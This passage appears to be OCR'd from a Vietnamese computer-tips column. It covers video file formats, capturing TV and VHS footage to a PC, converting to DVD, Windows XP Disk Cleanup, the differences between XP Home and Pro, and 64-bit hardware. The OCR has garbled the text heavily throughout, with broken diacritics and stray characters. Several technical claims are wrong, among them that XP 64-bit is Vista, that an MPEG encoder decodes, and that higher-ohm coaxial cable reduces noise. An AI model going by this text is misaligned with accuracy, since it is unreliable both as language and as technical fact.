sẽ có những nhu liệu cần thiết cho công việc đó. Ví dụ như trong trang web google vào search dién vào AVI converter sẽ có nhiều trang web hiện lên hỏi chuyén má tir AVI sang dang gi v.v.. Hỏi: Làm sao biết được các ký hiéu duoc ghi chép duói dang má video ndo ? Đáp: Thông thường khi mở bắt cứ một hồ sơ nào ra, theo nguyên tắc mỗi hồ sơ ba chữ sau cùng ám hiệu cho nhu liệu đó. Ví dụ như huypham.doc theo terminology giải trình rằng hồ sơ thuộc dạng text file và lưu trữ qua Microsoft Word nên muốn xem nội dung hồ sơ huypham.doc này ít nhất trong máy điện toán phái có nhu liệu đánh máy nhu Microsoft Word chăng hạn. Hoặc một thí dụ khác huypham.avi thì hiểu rằng.avi là một dạng format của video và video file này với một cái tên là huypham. Muốn huypham.avi trình chiếu trên màn hình thì ít nhất cũng phải có nhu liệu có thê đọc được dạng mã avi và chuyển mã.avi thành hình ảnh sống động. Trong Windows XP Professional có Windows Media Player 10 goi tát là WMPI0 có thê đọc hầu nhu các dang video format. Quay lại kỹ thuật terminology trong video, sẽ đi chỉ tiết từng dạng mã hóa trong phim ảnh điện tử một tạo nhanh chóng sự nhận dạng của từng hồ sơ thuộc loại gì: A VI: â guyên văn của danh từ này là Audio Video Interleave và đây cũng là một trong những mã hóa video thông dụng để lưu trữ audio/video đữ kiện trong hard drive của máy điện toán. Dạng mã AVI làm việc rất thuận tiện chung vói Microsoft Windows Resource Interchange File Format (RIFF) và rát thuán loi cho cóng viéc hoán chuyén, chia xé nói dung qua internet. Dĩ nhiên bất cứ một hồ sơ nào có ba chữ sau cùng.avi là ký hiệu của dạng mã AVI. Trong Windows XP hoặc Windows Media đều nhận diện và đọc được dang mà avi phó thóng này. MPEG: á guyén van cua danh tir nay la Motion Picture EXPerts Group. a hom nay nghiên cứu rất nhiêu dạng cho cả Audio và Video như một trong những dạng format thu gọn (compressed file) nồi tiếng trong âm nhạc điện tử đó là MP3. Trong lãnh vực video cũng vậy, nhóm chuyên gia chuyên nghiên cứu về âm thanh và hình ảnh đã tạo ra một dạng thu gọn thích hợp của video viết tắt cua chit MPEG. Vi day 1a mot dang compressed file nén trong cac loại nhu liệu xem phim hình đều phải trang bi MPEG-1 hoác MPEG-2 dé chuyén nhüng dang compressed file này sang dạng bình thường và trình chiếu trên màn hình. MPEG-I là một dạng mã với các độ phân giải rất thấp (low resolution), thông thường khi download trên Internet các dạng video được lưu trữ dưới dạng format mpeg-l. Còn loại mpeg-2 có độ phân giải rất cao (high resolution), và thông thường TV số (digital motion picture) hoặc phim (movie) được lưu trữ dưới dạng mpeg-2 này. MPEG được ứng dụng rộng rãi trong các loại máy chụp hình hoặc quay phim sô (digital camera, digital mini camrecorder v.v...). Và khi thấy bất cứ một file video nào với các mẫu tự sau cùng.mpeg thì hiểu ngay rằng đây là một dạng phim hình được lưu trữ dưới dạng dồn nén. WMV: Một trong những dạng cũng tương đối rat phố thông trong cho các phim được lấy ra trong internet dó là WMV. á guyên văn của danh từ này là Windows Media Video tuy nhiên có hai loại ký hiệu nhưng cũng diễn tả chung đó là WMV hoặc WMA (Window Media Audio). WMV là một trong những dạng format rất phổ thông cho các phim ảnh được download từ internet server xuống PC cá nhân. Kỹ thuật WMV đáp ứng được luồng 55 KỸ THUẬT ĐIỆẩ TOÁä download và trong Windows XP hoác Media đều có sán WMP cho dang WMV rất tiện lợi. Bất cứ một hồ sơ được download từ internet với 3 chữ sau cung.WMA hoac.WMV đều thuộc dang Windows. Tuy nhiên các nhu liệu Realplayer hay DVD player đều cũng có thé doc duoc dang WMV này mà không cần phải cập nhật hóa nhu liệu cho Windows. Mong quý vị độc giả điện toán vào bài đọc kế tiếp. ä hững danh từ kỹ thuật căn bản sẽ giúp ích rất nhiều trong lãnh vực Video và Audio. Biết được những danh từ chuyên môn như converter, terminology v.v...sẽ ít bị trở ngại khi đi sâu vào chuyên môn hoán chuyền các file, hay tao mót movie trong DVD hoác VCD. Phần cuối: Qua ba dạng mã ghi chép ký hiệu trên mặt đĩa trong kỹ nghệ phim hình như AVI, MPEG và MWV của phần 2, tiếp tục tìm hiểu thêm về các dang ghi chép (format) khác và sau đó qua phần hỏi và đáp quý vị độc giả am tường thêm sự liên hệ giữa các máy quay video và máy điện toán như thế nào. DixV: Dixv là mót dang video dón nép (compression format) cüng dua trén ky thuát cin ban cua ho MPEG (nhu dà trinh bày ho MPEG trong phần 2) và đi sâu vào chỉ tiết kỹ thuật Dixv ứng dụng từ kỹ thuật MPEG-4. Dạng MPEG được dùng lưu trữ hình ảnh trong các loại máy quay phim số (digital cam recorder) hay quay phim điện tử (electronic camera), thì dang Dixv duoc ứng dụng trong các trang web cho phép download các phim bộ, phim lẻ tới người dùng. Một trong những đặc điểm của dạng Dixv format này là phù hợp với trong tién trình download tới người dùng không ảnh hưởng tới chất lượng phim ảnh download. â ên Dixv trở thành một trong những format thông dụng để trao đổi phim hình trong thời gian đầu khi kỹ thuật DSL áp dụng tới từng gia dinh. Sau d6 Divx duoc thay thé bàng môt dang format tuong tu Xvid. Xvid: Xvid format cũng có dựa trên cấu trúc dồn nén MPEG-4. Xvid được phát minh cüng tir mót nhóm chuyén gia láp trinh thién nguyén (group of volunteer programmer) và xuát hiện trên thị trường internet sau khi Divx không sử dụng thay thé vào dó là Xvid. VCD: Viét tắt của chữ Video Compact Disc, căn bản đây là một trong những loại format ra đời đầu tiên sau kỹ thuật ghi chép trên Video Tape (VHF). VCD trên một CD không khác hơn chỉ là lưu trữ phim ảnh và âm thanh với chất lượng âm thanh và hình ảnh rất kém dĩ nhiên nhìn về khía cạnh kỹ thuật không chấp nhận được, nhưng đáp ứng phần nào cho người tiêu dùng trong một góc cạnh nào đó. Và VCD được sử dụng kỹ thuật MPEG-] dé ghi chép trén mặt đĩa CD. Trong thời gian gần đây VCD được nâng cấp và chuyền sang một hệ mới gọi tắt là SVCD - nguyên văn của chữ Super Video Compac Disk. Hỏi: Phim ảnh và âm thanh ảnh hưởng tới người tiêu dùng như thể nào ? Đáp: Trên thực tế dạng VCD rất kém về âm thanh và phim ảnh, tuy nhiên VCD vẫn lưu hành và số lượng tiêu thụ cũng đáng kế vì gía thành của loại đĩa VCD này rất rẻ so với loại dĩa DVD. Thời gian sao chép và thời gian sản xuất nhanh hơn ký hiệu trên mặt dĩa DVD. Tuy nhiên tại các nước có khoa học kỹ thuật cao DVD trở thành loại format tiêu chuẩn cho các loại phim và sau này kỹ thuật hình nổi và âm thanh ba chiều đã thay đổi hoàn toàn vé phim ảnh. Kỹ thuật này gọi là HD DVD, HD TV. HD viết tắt của danh từ High Definition liên quan tới chất lượng âm thanh nói và hinh ành ba chiéu. Có dip sé phán tích ky thuát HD này nhu thé nào và liên quan truc tiép tói máy computer ra sao. Hỏi: Một trong những khía cạnh ky thuát trong computer, sau khi download mót AVI hodc WMA phim vào trong máy dién toán. Sau dó düng Real Player hodc Windows Media Player dé xem nhung chỉ nghe âm thanh và hình ảnh không hiện lên trong WMP hoặc Real Player. Làm thế nào hình ảnh và âm thanh cùng làm việc một lúc. Đáp: â hư đã trình bày ở trên Xvid là một trong những nhu liệu rất quan trọng hợp tác với các nhu liệu khác để giải mã, từ bước giải mã và hình ảnh cùng âm thanh sẽ làm việc một lúc trong bất cứ một nhu liệu nào như WMP, Realplayer, Power DVD player v.v...Dưới đây là một link để vào download miễn phí nhu liệu Xvid VI.1.0 cho Windows 56 KỸ THUẬT ĐIỆẩ TOÁä Sau khi download và cài đặt xong, hình ảnh và âm thanh sẽ xuất hiện cùng một lúc. Windows XP, các loại nhu liệu WMP, Realplayer v.v...tuy hỗ trợ và đọc các loại format trong đó bao gồm luôn cả loại format A VI, WMA v.v...nhưng cũng cần phải có nhu liệu giải mã của nhóm MPEG thì các phim download làm việc với đúng chức năng của nó. â gày nay trước sự phát triển không ngừng trong kỹ nghệ điện toán. Hình ảnh và âm thanh cũng được cải thiện rất nhiều. Muốn có hình ảnh và âm thanh như ý muốn đòi hỏi người sử dụng điện toán phải có những kiến thức căn bản về cấu trúc các dạng ghi chép hình ảnh và âm thanh. Sau khi tìm hiểu cấu trúc của các dạng ghi chép (video format) bước kế tiếp sẽ tìm hiểu thêm về các nhu liệu (software) cũng như linh kiện điện tử (hardware) liên quan trực tiếp tới hình ảnh và âm thanh như:
  • Tạo một dĩa DVD từ máy quay phim.
  • Sao chép một dĩa DVD như thé nào.
  • Chuyén các phim download sang dang DVD format và ghi chép xuóng dia DVD V.V... Muốn làm những công việc DVD này liên quan tới những kiến thức căn bản và một trong những kiến thức căn bản đầu tiên là tìm hiểu các dạng DVD format. Mong quý vị độc giả đón trong bài điện toán kỳ về sự liên quan hardware, software tới lãnh vực truyền thông hình ảnh DVD như thế nào, qua sự liên quan này quý vị sẽ tường tận hơn sự quan trọng về cấu trúc của một dàn máy computer khi mua sám. Khi install Windows XP coi chừng thiếu phần system tools hay Windows XP chưa upgrade lên SP2. Đây là những program trong System Tools:
  • Back Up
  • Character Map
  • Disk Cleanup
  • Disk Defragmenter
  • File and Settings Transfer Wizard
  • Schedule Tasks
  • Security Center (1)
  • System Information
  • System Restore â êu không thấy Disk CleanUp thì cùng có thé cái shortcut dà bi delete...Hày run Windows EXPlorer rói vào C: Windows WSystem32 , bám cái hàng chữ Type để sort theo loại, dò xuống theo cái file extension.EXE tìm coi có file nầy không cleanmgr.exe - 63 Kb. å éu có cái cleanmgr.exe thi dó chính là program cho cái Disk CleanUp, chi cân double-click là run...â éu muốn run thường thì làm cái shortcut rồi copy vào trong desktop mà run về sau hay những khi cần...Khi run cái program này sé hién ra cái dialog nhỏ chừng một vài giây rồi hién ra 1 cái dialog lón góm có 2 cái tabs Disk CleanUp và More Options. Trong cái tab Disk CleanUp thì check những thứ nào muốn delete (clean) ròi bám nút OK muốn chắc ăn thì check từng dòng rồi bám nút View coi thứ đó chứa những thứ gì trước khi quét don. Trong cái Tab More Options thì có thê chọn CleanUp 3 thứ kach nhu Windows Components, Installed Programs hay System Restore...
  • Chi có khi upgrade Windows XP lén SP2 THAU PHIM, HÌNH ANH TU HE SAP CABLE VA VCR VAO TRONG MAY DIEN TOAN Tao mót VCD hay DVD video nhu thé nào Phàn 1: Khi nói dén phuong pháp huóng dẫn làm thế nào đề tạo một dia phim anh DVD, diéu đầu tiên liên quan trực tiếp tới các điều kiện căn bản của máy điện toán. 57 KỸ THUẬT ĐIỆẩ TOÁä Máy dién toán: Ít nhát con CPU phái trén 2.0 thuóc ho AMD hoác Pentium. Memory la 512 Mb va 6 hard drive co strc chira toi thiéu là 60 Gig. a goai ra con phải trang bị thêm ô sao chép DVD (DVD burner) và đặc biệt là Video card có các đầu căm cho các loại máy từ máy VCR, Cam Recorder, Cable v.v.. Đề cập tới phim ảnh là liên quận tới tất cả các hình ảnh từ TV, máy quay phim, máy chup hình, máy VCR v.v...thông thường các máy quay phim (cam/mini cam recorder), máy chụp hình (digital camera) đều dùng trực tiếp qua chỗ căm USB, cón máy VCR và TV déu phải dùng đầu cắm dây cáp danh từ chuyên môn gọi là đầu cắm RF (RF connector) hoác dàu cám dây cáp (Coaxial Connector). Sau khi dà có dày dü các thiét bị điện toán cần thiết phần còn lai là nhu liéu software. â hư đã trình bày ở trên Video card rất quan trong và trực tiếp trong vấn đề nối tiếp giữa máy điện toán và các máy truyền thông khác. Một trong những video card tương đôi thong dung va day đủ chức nang noi tiép dó là hiéu ATI video card. Song song do ATI co nhu liéu riéng cho Windows va rat tién loi và dé dàng dé tháu hoác chuyén các phim tir video (VHS) vào trong máy hoặc đài truyền hình dây cáp (cable) có những phim hay cũng có thê thâu trực tiếp lưu trữ trong hard drive. Một trong những điểm quý vị độc giả nên lưu ý nên sử dung S-video cable liên quan tới hình ảnh sẽ rõ ràng hơn và âm thanh nên dùng loại đầu cắm stereo thay vi mono (đầu cắm stereo luôn luôn có 3 ngắn trong khi mono chỉ có 2 ngắn). Quay lại tiến trình làm một Video clIP trong dạng A VI hoác Mpeg (trong các bài trước quý vị độc giả đã tham khảo các dạng Video thông dụng trên mặt dĩa DVD) từ VCR hoặc Cable được chia làm hai phần.
  • Thâu phim qua hệ thống dây cáp cable vào trong máy điện toán
  • Chuyên các phim video VHS vào trong máy điện toán A- Thâu phim vào trong máy dién toán (ATI video card) qua đường dây cable. Rất đơn giản trên màn hình desktop sẽ thấy ATI software. Chọn truyền thông TV và sẽ thấy một khung hình TV hiện lên phía dưới có các phím khác cho phép thâu phim (record), chuyền đổi băng tầng (channel) hoặc điều chỉnh âm thanh (volume). â hu liệu này làm việc gidng nhu là môt remote control cua may VCR/TV. Sau nay ATI cåi thiên nhu liéu tinh vi hơn có thê sắp xếp thời giờ qui dinh thu hinh trong máy computer. Sau khi nhan nut Record lập tức hình ảnh trong channel đó được lưu trữ dưới dạng AVI danh từ chuyên môn hay gọi động tác này là "image capture". AVI là một dạng không thuộc loại dồn nén (uncompressed file) nên chiếm rất nhiều chỗ trong ó hard drive có khi lên tới 100 Mb cho một phút. Sau khi hoàn tất thâu trong máy điện toán, bước kế tiếp phải chuyển dạng AVI sang dạng Mpeg (moving picture eXPert group). Mpeg là một dạng dồn nén (compressed video file) sẽ không chiếm nhiều chỗ trong ổ hard drive thông thường tỷ lệ dồn nén này là 10:1 (ví du nhu 100 Mb AVI chuyén thành 10Mb Mpeg). B- Thâu phim vào trong máy điện toán qua máy VCR. Tiến trình này cũng giống như TV/Cable, trên màn hình điện toán cũng chọn VCR hoặc TV sẽ thấy hình ảnh trong máy VCR xuất hiện trên màn hình ATI. Chỉ việc nhấn nút recorder là đủ. Tiến trình này cũng được lưu trữ trong dạng AVI. Sau đó dùng một nhu liệu khác chuyên sang dạng Mpeg để lưu trữ. Hỏi: Liên quan đến chất lượng hình ảnh có sự khác biệt giữa A VI và Mpeg không và liên quan tới các hardware phụ như thê nào ? Đáp: Dĩ nhiên là có và dựa vào rất nhiều yếu tố từ hardware cho đến software. Ví dụ về hardware như video card có độ phân giải (resolution) cao và memory build in trên video card ít nhất là 128 Mb hoặc dây coaxial cable nối từ VCR đến Video card phải là dây có chỉ số ohm cao như tiêu chuẩn 20, 50, và 75 ohm. Số ohm càng cao cho dây coaxial cable thì độ nhiễu sóng bị ít đi và chất lượng hình ảnh được chuyên đi càng cao. Riêng về nhu liệu để thâu hoặc chuyền dạng (format converter) khó mà phân biệt về chất lượng hình ảnh sau khi chuyên xong. Tuy nhiên dựa trên nhu liệu thuộc loại gì và nổi tiếng hay không hoặc được sự giới 58 KY THUAT DIEa TOAA thiệu từ những người đã dùng qua. â gay cả sử dụng S-Video cable cũng phải quan tâm và tìm hiểu vì S-Video cho người sử dụng điện toán hình ảnh có chất lượng cao cũng như âm thanh rõ ràng. Quay lại sự khác biệt giữa AVI và Mpeg cũng đơn giản và dé hiểu vì dạng A VI thuộc dạng ghi chép nguyên thủy nên chất lượng và hình ảnh giống như là nguyên vẹn (original source) trong khi dó Mpeg là dang dón nén trong tién trinh dón nén (compressed process) có thể đưa đến tình trạng hình ảnh bị hư là chuyện thường nên và khi xem phim thuộc dạng Mpeg phải qua một tiến trình gọi danh từ chuyên môn là Mpeg Encoder (giải mã) để chuyển những dạng dồn nén này thành dạng bình thường và hình ảnh sẽ hiện lên, trong khi đó AVI xem trực tiếp không cần giải mã. Mong quý độc gia đón đọc bài điện toán kỳ tới cũng trong chương trình hướng dẫn từng bước tìm hiểu cách chuyên các VHS (VCR) hoặc Movie từ TV/Cable vào trong máy điện toán và chuyên sang DVD. Phần 2:
  • Làm sao chuyển VHS luu trír trong dia DVD Chuyén các dang VHS (video home system) sang DVD (digital video disk) tró thành một trong những nhu câu thiết yéu trong công việc bảo trì các sản phẩm văn hóa giá tri đã được lưu trữ dưới dạng cũ VHS sang dạng công nghệ lưu trữ mới DVD. Dĩ nhiên quý vị độc giả điện toán cũng hiểu rằng với kỹ thuật hiện đại, các chức năng đa dạng của máy điện toán thì tiến trình hoán chuyển và lưu trữ cũng không mấy khó khăn và phức tạp đề hoán chuyền từ VJS sang DVD. ä êu muốn hoán chuyên VHS sang DVD có rất nhiều cách dĩ nhiên nếu nhìn về khía cạnh kỹ thuật thì sự hoán chuyền cũng phải bảo đảm về chất lượng hình ảnh cũng như âm thanh giống như nguồn gốc của băng tape VHS, nhiéu khi cón khá hon báng góc vi các ky thuật hình số (digital image) cho phép diéu chinh dó sáng tối, màu hoặc độ phân giải (screen resolution) và sự hoán chuyên này có thé áp dung cho moi cho moi loai VHS nhu VHS-C (Video Home System-Compact), SVHS (Separate Video Home System), Hi8, VHS hoác Beta. Mót vài nguyén tác hoán chuyén tir VHS sang DVD nhu sau:
  • Sau khi máy dién toán dà nhàn các hinh ánh Video này tir VHS, buóc ké tiép düng nhu liéu dé chuyén các hinh ành cüa dang Analog sang dang Digital. Cấu trúc nguyên thủy hình ảnh ghi chép trên mặt băng từ trường đều thuộc loại Analog, nên khi chuyển sang máy điện toán cũng vần còn thuóc dang Analog. Bước kế tiếp dùng nhu liệu để mã hóa và hoán chuyển hình ảnh của analog sang digital. Buóc này danh tir chuyén món goi là Analog-to-DV (digital video). á hu liéu cán bản Analog-to-DV có rất nhiều cho các thiết bị máy quay phim, máy chụp hình v.v...khi mua sắm cam/minicam recorder cũng có nhu liệu hoán chuyền này nắm trong dĩa CD, chỉ cần cài vào trong máy và sử dụng được (một trong những thói quen khi mua sắm các loại carema, minicam recorder, camrecorder v.v...nén hỏi người bán là các nhu liệu nào dính kém và nhu liệu này thuộc loại Anolog-to-DV hoặc Analog-to- -Mpeg). Đây là một trong những nguyên tắc hoán chuyên tir analog sang digital chiém nhiéu thói gian nhát có khi máy điện toán phải sử dụng nhiều giờ trong tiến trình đưa analog video vào trong ó hard drive. Düng nhu liệu dé giải mã và hoán chuyển sang dạng MPEG-2 tuy có trở ngại thời gian tính nhưng ngược lại người sử dụng điện toán có thê uyên chuyên để sửa đồi hình ảnh analog video gốc (danh từ kỹ thuật chuyên môn gọi tiến trình sửa đổi này là Edit hay Editting) và thêm bớt chỉ tiết âm thanh và nội dung cho hoàn hảo.
  • Một trong những nguyên tắc hoán chuyền khác là dùng nhu liệu Mpeg hoán chuyển trực tiếp hình ảnh VHS vào trong 6 hard drive. Giái thích theo góc cạnh kỹ thuật là nhu liệu Mpeg (Mpeg converter) vua láy, vừa chuyên VHS thành Mpeg song song cüng mót lúc. Lối áp dụng nguyên tắc dé chuyên trục tiếp này rat thông dụng vì tương đối đễ dùng và không đòi hỏi phải có trình độ chuyên nghiệp, sự hiểu biết về video. Tuy nhiên một trong những khuyết điểm khi chuyển qua dạng dồn nén Mpeg này là chất lượng hình ảnh (quality image) đôi khi 59 KỸ THUẬT ĐIỆẩ TOÁä sẽ không rõ ràng và phải dùng nhu liệu movie clIP editing để điều chỉnh hình ảnh lại cho rõ ràng. â hìn về điểm thời gian tính thì công việc hoán chuyên này rất nhanh từ VHS sang Mpegs so với nguyên tắc hoán chuyên ở trên.
  • Một loại khác cũng tương đối thông dụng không cần máy điện toán đó là loại máy VCR-DVD combo. Trên lý thuyết thi VHS và DVD có thé ghi chép hinh ánh phim làn cho nhau nhung trén thuc té hàu như các ô phim DVD đều có trang bị chống sao chép bản quyền nên tất cả các phim ảnh muốn giải mã và chuyên sang dạng ghi chép trên mặt băng VHS đều bị ngăn cản. Và chỉ làm việc có một chiều có nghĩa là DVD có thê chuyên các hình ảnh từ VHS và sao chép trén mát dia DVD. à gay cà Camrecorder và DVD cũng có thể làm việc trực tiếp với nhau giông như là VCR - DVD combo vậy. â ói tóm lại cho dùng sử dụng bất cứ một nguyên tắc hoán chuyền nào tà VHS sang DVD cüng quy tu lai hai nhu cầu sử dụng:
  • â gười chuyên trực tiếp từ cam recorder hoặc VCR sang DVD thì không cần phải có kiến thức tìm hiểu cặn kẽ về câu trúc các dang video. Theo hướng dẫn cách sử dụng là đủ để hoán chuyên một phim ảnh sang DVD mà không tốn phí thời gian. Chất lượng hình ảnh hoàn toàn phu thuóc vào bán phim góc tir VCR tape hoác Cam Recorder
  • Trong khi dó các chuyén vién chuyén về Video editing luôn luôn phải chỉnh hình bằng phương pháp đưa những hồ sơ gốc analog này vào trong máy lưu trữ theo dạng analog. Sau đó dùng nhu liệu để điều chỉnh phim ảnh và sau cùng mã hóa để ghi chép vào DVD. Mpeg-2 là dạng mã hóa thông dụng được ghi chép trên mặt dĩa DVD. Mong quý vị độc gia đón đọc trong bài điện toán kỳ tới cũng trong chương trình hướng dẫn từng bước tìm hiểu cách chuyển các VHS (VCR) hoặc Movie từ TV/Cable vào trong máy điện toán và chuyên sang DVD. Song song đó các nhu liệu phổ biến được dùng để edit phim ảnh như thế nào ? KIÊN THỨC CĂN BẢN VÀ SỰ TIỆN LỢI TRONG Windows XP Trong các bài viết điện toán kỳ này sẽ tìm hiểu về Windows XP. Hiện nay Windows XP không còn xa lạ gì cho người sử dụng điện toán. Windows XP có ba loại đang lưu hành rất rộng rãi đó là Windows XP home edition, Professional Edition và còn một loại Windows XP thứ ba mới tung ra thị trường với cái tên là Windows XP 64-bit edition (hay còn gọi là Windows Vista), Windows 64-bit này chỉ dành cho những computer ra đời sau này thuộc họ Intel Itanium Processor (con chlIP processor Itanium chay nhanh hon con chIP Pentium và cũng là con chIP mói nhát duoc tung ra thi trường trong thời gian gần đây đề thay thế dần con chIP pentium do công ty Intel sản xuất), có nghĩa là máy computer phải đạt đủ những điều kiện nhanh chóng tối thiểu mới cài đặt được Window XP 64-bit edition vào trong máy, loại Windows thứ ba này sẽ không đề cập tới trong bài tham khảo hôm nay. Windows XP home edition loại này rất đơn giản và ứng dụng cho các computer tại tư gia, đại đa số khi mua một hệ thống computer mới tại các cửa hàng điện toán đều cài đặt loại Windows XP home edition này Windows XP professionall edition loại này được sử dụng trong các giới thương mại và rất được ưa chuộng trong các giới rành về điện toán Thông thường trung bình giá một Windows XP home edition trên thị trường là $199, upgrade là $99 và Windows XP Profession là $250 upgrade là $150. Có hai danh từ chuyên món hay sir dung dién tà chung cho mót software dó là full version và upgrade. Full version software: Có nghĩa là không lệ thuộc vào software khác, có thể trực tiếp cài đặt thắng vào máy computer với những chỉ tiết đã được cung cấp đầy đủ từ các công ty viết lập trình như password, serial code, authorite code v.v...và xin quý vị lưu ý software này chỉ có giá trị cho một máy computer đó mà thôi, sẽ không có tác dụng nếu cài đặt cho một computer khác. 60 KY THUAT DIEa TOAA Upgrade software: Có nghia là nàng cáp hoặc cải thiện những nhu liệu cũ sang mới, upgrade là danh từ được dùng rộng rãi trong mọi trường hợp theo một nguyên tắc chung dựa vào nên tảng cũ đã có săn chuyển sang nên tảng mới. Danh từ upgrade được sử dụng trong điện toán, xây cất nhà cửa v.v...riêng về lãnh vực điện toán trong tiến trình cài đặt upgrade software, luôn luôn tìm kiếm những software cũ ví dụ như cài đặt upgrade office 2000 thi office 2000 luôn luôn tìm kiếm office 97 hoặc muốn upgrade Windows XP thì trong máy phải có Windows 98 hoặc 2000. Danh tir XP duoc dién tà qua danh tir "eXPerience" (kinh nghiém) nén theo nghĩa nóm na Windows XP là sự tổng hợp các kinh nghiệm thu thập từ những nhà viết lập trình (programmer) cho OS Windows và rút tỉa kinh nghiệm thực tế từ những người sử dụng window 3.1, 95, á T4.0, 98, ME và win2000 cho tới khi Windows XP tung ra thị trường vào cuối thang 8 nam 2001. á hüng kinh nghiệm thực tiễn đã được cải thiện trong Window XP như máy chụp hình điện tir (digital camera), digital music, internet, home network v.v...rất là nhiều chức năng khác trong Windows XP. Theo dõi thời gian thứ tự có thể nói Windows XP được nối tiếp sau Windows 2000 nhưng trên thực tế các nhà viết lập trình cho Windows XP đều dựa trên cấu trúc căn bản nguyên thủy của window 95 và 98, trong danh từ chuyên môn gọi cấu trúc Windows căn bản này là Windows Engine, và từ Windows engine này trở thành Windows å T/2000 kernel. å ên những kiến thức nguyên thủy về Windows đều dựa theo cấu trúc Windows engine mà nảy nở ra các Windows khác nhau. Hỏi: Như vậy Windows XP có ba loại khác nhau, duy chỉ có hai loại thông dung Windows XP home edition và Professional Edition, trong hai loại Windows này có sự khác biét gi khóng và Windows professional cho lành vuc thương mại (business) có thể dùng tại gia duoc hay khóng ? Đáp: Trong cấu trúc Windows đều có sự khác biệt về tùy theo điều kiện của người sử dung ví du nhu Win98 duoc tung ra thi trường, không lâu sau đó Win98§ SE được thay Win98 vì những vấn đề trong Win98 được bồ túc và thay băng Win98 SE (second edition). Win XP home và professional thì cùng vậy cấu trúc đều khác nhau nên giá thành cüa WinXP professional cao hơn WinXP home version là vậy. Dưới đây là những sự khác biệt giữa Windows XP home và Professional
  • MultIPle processor: XP pro có thể làm việc từ 1 lên tói hai con chIP processor môt lúc mà XP home thì không có (sau này có những loại mother board được thiết kế đặc biệt với hai con chIP processor cüng mót lüc). . - Upgradable: Trong tiến trình cài đặt Windows, winXP pro cho phép người sử dụng có thê cài đặt full version hoặc có thể nâng cấp (upgrade) từ Window 98, ME hoặc 2000. Còn XP home phải dùng trực tiếp từ CD nguyên thủy.
  • Itanium: XP pro chạy với hệ thống 64 bit và rất thích hợp cho hệ thống Itanium, trong tương lai gần đây Pentium sẽ không còn hiện hữu và sẽ được thay thế bằng hệ thống Itanium chạy nhanh hơn trong hệ thống 64 bit. Trong khi đó XP home không phù hợp cho hệ thống Itanium này.
  • & etwork: XP pro có thé làm viéc trong hé thóng á etwork Monitor, Sá MP, IP security (IPsec) và CSá W (Client Service for 4 etware) trong khi dó XP home thi lại không có những phần này.
  • Dynamic Disks: XP pro có thé làm viéc vói Dynamic disk, XP home thi khóng.
  • Backup: XP pro có những tiêu chuẩn căn bản trong chương trình backup (back up program) gióng nhu Window 2000 có nghia là cho phép người sử dụng có thé setup tiêu chuẩn thời gian tự động đề lưu trữ dữ kiện, hồ sơ cá nhân, còn XP home thì không có chương trình backup này.
  • MultIPle Monitor: XP pro có thé làm việc lên tới monitor một lúc, trong khi đó XP home chí mót monior mà thói. 61 KY THUAT BIÉÀ TOÁÀ Bao nhiêu sự khác biệt giữa Home và XP edition cüng đủ chứng minh cho quý độc giả nên sử dụng Windows nào rồi. Dĩ nhiên Windows nào có nhiều chức năng (feature) thì nên dùng, tại nhà hay tại cơ sở thương mại (business) đều không trở ngại gì cả. a hưng vì giá cả có sự chênh lệch khá nhiều giữa Windows XP pro và Home edition nén dai da só các computer mua sắm đều cài đặt home edition là vậy trừ khi chịu trả thêm tiền phụ trội để chuyển qua Windows Pro. Qua các hướng dẫn căn bản về kiến thức điện toán, mong quý độc giả điện toán đón đọc những nhận định nên hay không nên cải thiện Windows XP sang Windows XP 64 hoặc Vista và các vấn đề về hardware cũng như software sẽ gặp phải ä hư đã trình bày ở trên, sự ra đời của các nhu liệu điều hành của Windows như Windows XP Media, Windows Vista 64 đòi hỏi sự cải thiện về cấu trúc hardware của máy vi tính. Các cấu trúc này bao gồm:
  • CPU processor: Cá hai loai chIP CPU rát nói tiéng từ 2 công ty đó là AMD và Intel đều tung ra thị trường các con chlP CPU mới và đều chạy trên nền tảng lập trình kỹ thuật binary 64. Tất cả các máy móc hoặc những con chlP CPU được trang bị đề phù hợp với lập trình nền 64 đều được ghi chép bằng ký hiệu cớ con số 64. Vi dụ nhu con chIP CPU AMD64, Intel Pentium 64 v.v...khi thấy những ký hiệu này hiểu rằng máy điện toán đã được trang bị các điều kiện hardware căn bản để chạy nhu liệu điều hành 64. -
  • Hard drive: Vi cáu trüc cüa mother board cũng thay đổi để theo kịp nhu liệu điều hành 64 nên có một sự cải thiện rát nhanh nhu mother board 64 khóng cón sir dung ó floppy 3.5 nữa (hiện nay floppy không còn phù hợp và thay vào đó là CDR-W hoặc DVDR-W), ngay cả trên motherboard không có chỗ căm dây ribbon cable nối giữa motherboard và ô floppy 3.5. Kỹ thuật mới ứng dụng 6 hard drive SATA (viét tát cüa danh ti Serial Advanced Technology Attachment) vi 6 SATA này tiện lợi vừa nhanh và sử dung duoc liền không đòi hỏi các kiên thức setup như loại hard drive IDE. Sau cùng là memory đều chuyên qua sử dụng loại DDR2. Loại DDR2 này được cải thiện từ những con chÍP memory thuộc họ DDR. Khi đã chuyén qua loai motherboard 64 thì cấu trúc hardware hoàn toàn khác hắn để đáp ứng các điều kiện căn bản khi cài đặt nhu liệu điều hành WindowsVista 64. Một trong những đặc điểm cüa Vista là ứng dụng kỹ thuật nói 3 chiều (3D display) trên màn hình do đó đòi hỏi cấu trúc hard drive và memory cũng phải thay đổi cho phủ hợp. Hói: Window Vista tuy đã tung ra thị trường nhưng vẫn chưa được hưởng ứng rộng rãi và vẫn còn hạn hẹp khi liên quan tới các nhu liệu khác ? Đáp: Đúng như vậy, trong một máy điện toán ngoài nhu liệu điều hành Windows là chính còn có những nhu liệu vận hành (application software) như: Photoshop, adobe, winzIP, roxia, nero v.v...khi nhu liệu điều hành Windows 64 tung ra thị trường thì các nhu liệu khác còn lại như thí dụ ở trên cũng phải thay đổi cấu trúc lập trình (programs) dựa trên nền tảng binary 64. Tuy nhiên cho đến nay ngoài công ty Microsoft có những lập trình dựa trên hệ 64 nhw Windows, microsoft office v.v...các nhu liệu khác vẫn chưa tung ra thị trường tương ứng với kỹ thuật binary 64. Chính vì một trong những lý do trên nên Windows Vista chuwa đáp ứng được người dùng, tuy nhiên hardware 64 lại được ưa chuộng nhiều vì hardware 64 vẫn dùng được cho các loại nhu liệu cũ dựa trên căn bản binary 32. Ví dụ như Windows XP Professional, Photoshop CS, Office 2003 v.v...Hardware 64, software 32 đến lúc nào đó thì chuyén sang software 64 hoàn toàn bát cứ lúc nào sẽ không gặc bất cứ vấn đề trở ngại gì. Hỏi: Sự khác biệt giita hai loai hard drive SATA va IDE nhu thén ndo ? | Dap: That sy SATA không mới lạ trong kỹ nghệ network, đại đa số các ó hard drive dùng trong network 